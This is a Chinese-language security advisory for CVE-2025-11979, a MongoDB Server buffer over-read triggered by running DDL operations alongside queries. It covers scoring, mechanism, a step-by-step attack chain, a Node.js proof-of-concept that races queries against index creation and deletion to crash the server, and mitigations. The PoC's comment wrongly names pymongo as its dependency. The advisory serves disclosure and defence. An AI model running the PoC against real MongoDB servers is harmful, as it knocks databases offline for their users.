MongoDB服务器缓冲区过度读取导致拒绝服务漏洞

漏洞信息

漏洞编号

CVE-2025-11979

漏洞类型

缓冲区过度读取（Buffer Over-Read）

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

MongoDB Server

漏洞概述

CVE-2025-11979是MongoDB Server数据库管理系统中的一个中危安全漏洞，于2025年10月20日由MongoDB官方CNA团队披露。该漏洞的CVSS 3.1评分为5.3分，属于中等严重级别。该漏洞的根本原因在于MongoDB Server在处理并发DDL（数据定义语言）操作与查询操作时存在缓冲区过度读取（Buffer Over-Read）缺陷。

具体而言，当授权用户在MongoDB服务器上执行DDL操作（例如创建索引、修改集合结构、删除集合等）的同时，其他客户端正在对相关集合发起查询请求时，在某些特定条件下，服务器内部的内存缓冲区管理逻辑会出现异常，导致读取超出分配缓冲区边界的数据。这种越界读取虽然不会直接泄露敏感数据（机密性影响为None），也不会破坏数据完整性（完整性影响为None），但会触发MongoDB服务器的崩溃或异常终止，从而造成拒绝服务（DoS）攻击，影响数据库服务的可用性。

该漏洞的攻击复杂度较高（AC:H），需要满足特定的条件才能触发，但攻击者只需拥有低权限的合法数据库账户（PR:L）即可通过网络发起攻击，无需用户交互（UI:N）。这意味着任何拥有MongoDB数据库访问权限的内部用户或被入侵的低权限账户都可能利用此漏洞导致整个MongoDB服务不可用，对业务连续性构成严重威胁。

此漏洞影响了MongoDB Server的多个主要版本，包括7.0系列（7.0.25之前版本）、8.0系列（8.0.15之前版本）以及8.2.0版本。MongoDB作为全球最流行的NoSQL数据库之一，被广泛应用于各类互联网应用、企业级系统和云服务中，因此该漏洞的影响范围较为广泛。MongoDB官方已发布安全补丁修复此漏洞，建议受影响的用户尽快升级到修复版本。

技术细节

该漏洞的核心技术原理在于MongoDB Server在并发执行DDL操作和查询操作时，对内部缓冲区（buffer）的边界检查存在缺陷。

在正常的MongoDB运行过程中，当客户端发起查询请求时，服务器会从存储引擎中读取数据到内存缓冲区中进行处理。同时，当其他客户端发起DDL操作（如createIndex、dropCollection、renameCollection等）时，服务器需要修改集合的元数据（metadata）信息。由于DDL操作会改变集合的结构或状态，正在进行的查询操作所引用的缓冲区可能在DDL操作完成后变得无效或大小发生变化。

漏洞触发的具体机制如下：
1. 客户端A发起对某个集合的查询操作，服务器为该查询分配内存缓冲区并开始读取数据；
2. 客户端B（可以是同一用户或其他授权用户）发起DDL操作，修改了该集合的元数据或结构；
3. 由于DDL操作与查询操作之间的并发控制存在缺陷，客户端A的查询操作继续使用已被DDL操作修改的缓冲区引用；
4. 当DDL操作导致缓冲区被重新分配或缩小时，客户端A的查询操作继续按照原始缓冲区大小进行读取，导致读取超出实际分配的内存边界；
5. 越界读取触发了内存访问异常，MongoDB服务器进程崩溃，产生拒绝服务效果。

利用此漏洞需要满足以下条件：
- 攻击者必须拥有MongoDB数据库的合法授权账户（至少为readWrite权限）；
- 需要在特定的时间窗口内同时执行DDL操作和查询操作；
- 目标集合必须处于特定的状态或配置下。

由于该漏洞需要精确的时序控制和特定条件，攻击复杂度较高（AC:H），但一旦成功触发，将导致整个MongoDB服务实例崩溃，影响所有连接到该实例的客户端。

攻击链分析

STEP 1

获取授权访问

攻击者需要拥有一个具有readWrite或更高权限的MongoDB数据库账户，可以通过社会工程、凭据泄露或权限提升等方式获取合法访问权限。

STEP 2

建立并发连接

攻击者使用多个MongoDB客户端连接同时连接到目标MongoDB服务器实例，准备发起并发操作。

STEP 3

发起并发查询

通过一个连接对目标集合发起持续的查询操作（如find查询并配合sort、projection等），使服务器为查询分配并维护内存缓冲区。

STEP 4

并发执行DDL操作

通过另一个连接在查询进行的同时发起DDL操作（如createIndex、dropIndex等），触发元数据修改和缓冲区重分配。

STEP 5

触发缓冲区过度读取

由于并发控制缺陷，查询操作继续使用已被DDL操作修改的缓冲区引用，导致读取超出分配边界，触发内存访问异常。

STEP 6

服务器崩溃

缓冲区过度读取导致MongoDB服务器进程异常终止，所有连接到该实例的客户端断开连接，数据库服务不可用，造成拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2025-11979 PoC - MongoDB Buffer Over-Read DoS
// This PoC demonstrates triggering a buffer over-read crash by issuing
// DDL operations concurrently with queries on the same collection.
// Requires: pymongo library, valid MongoDB credentials with readWrite privileges

const { MongoClient } = require('mongodb');

// Configuration
const MONGO_URI = 'mongodb://username:password@target-host:27017';
const DB_NAME = 'test_db';
const COLLECTION_NAME = 'target_collection';

async function exploit() {
    // Connection 1: Will perform concurrent queries
    const client1 = new MongoClient(MONGO_URI);
    // Connection 2: Will issue DDL operations (createIndex)
    const client2 = new MongoClient(MONGO_URI);

    try {
        await client1.connect();
        await client2.connect();

        const db1 = client1.db(DB_NAME);
        const db2 = client2.db(DB_NAME);
        const coll1 = db1.collection(COLLECTION_NAME);
        const coll2 = db2.collection(COLLECTION_NAME);

        // Insert some sample data to ensure collection exists
        await coll1.insertMany([
            { name: 'doc1', value: 1 },
            { name: 'doc2', value: 2 },
            { name: 'doc3', value: 3 }
        ]);

        console.log('[*] Starting concurrent DDL and query operations...');

        // Launch concurrent operations
        // Thread 1: Continuous queries (find with sort/projection to stress buffer)
        const queryPromise = (async () => {
            for (let i = 0; i < 1000; i++) {
                try {
                    await coll1.find({}).sort({ value: 1 }).toArray();
                } catch (e) {
                    console.log(`[Query] Error: ${e.message}`);
                }
            }
        })();

        // Thread 2: Rapid DDL operations (create/drop indexes)
        const ddlPromise = (async () => {
            for (let i = 0; i < 50; i++) {
                try {
                    const indexName = `temp_idx_${i}`;
                    await coll2.createIndex({ value: 1 }, { name: indexName });
                    await new Promise(r => setTimeout(r, 10));
                    await coll2.dropIndex(indexName);
                } catch (e) {
                    console.log(`[DDL] Error: ${e.message}`);
                    if (e.message.includes('crash') || e.message.includes('connection')) {
                        console.log('[+] Server may have crashed!');
                        break;
                    }
                }
            }
        })();

        await Promise.all([queryPromise, ddlPromise]);
        console.log('[*] Exploit attempt completed.');

    } catch (error) {
        console.error(`[!] Exploit error: ${error.message}`);
        if (error.message.includes('topology was destroyed') ||
            error.message.includes('connection closed')) {
            console.log('[+] SUCCESS: MongoDB server appears to have crashed!');
        }
    } finally {
        await client1.close().catch(() => {});
        await client2.close().catch(() => {});
    }
}

exploit().catch(console.error);

影响范围

MongoDB Server v7.0 < 7.0.25

MongoDB Server v8.0 < 8.0.15

MongoDB Server v8.2.0

防御指南

临时缓解措施

在无法立即升级的情况下，建议采取以下临时缓解措施：1）限制具有DDL操作权限的用户数量，仅授予必要的最小权限集合；2）通过MongoDB的访问控制列表（ACL）限制可执行DDL操作的客户端IP地址；3）在应用层面实现DDL操作的串行化，避免DDL与查询操作的并发执行；4）部署MongoDB副本集架构，确保在主节点崩溃时能够快速自动故障转移到从节点，减少服务中断时间；5）密切监控MongoDB服务器日志，及时发现异常崩溃事件并采取应对措施；6）考虑在MongoDB前端部署WAF或代理层，对DDL操作进行限流和审计。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2025-11979
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2025-11979
3 Details https://www.cvedetails.com/cve/CVE-2025-11979/
4 VulDB https://vuldb.com/cve/CVE-2025-11979
5 Link https://jira.mongodb.org/browse/SERVER-105873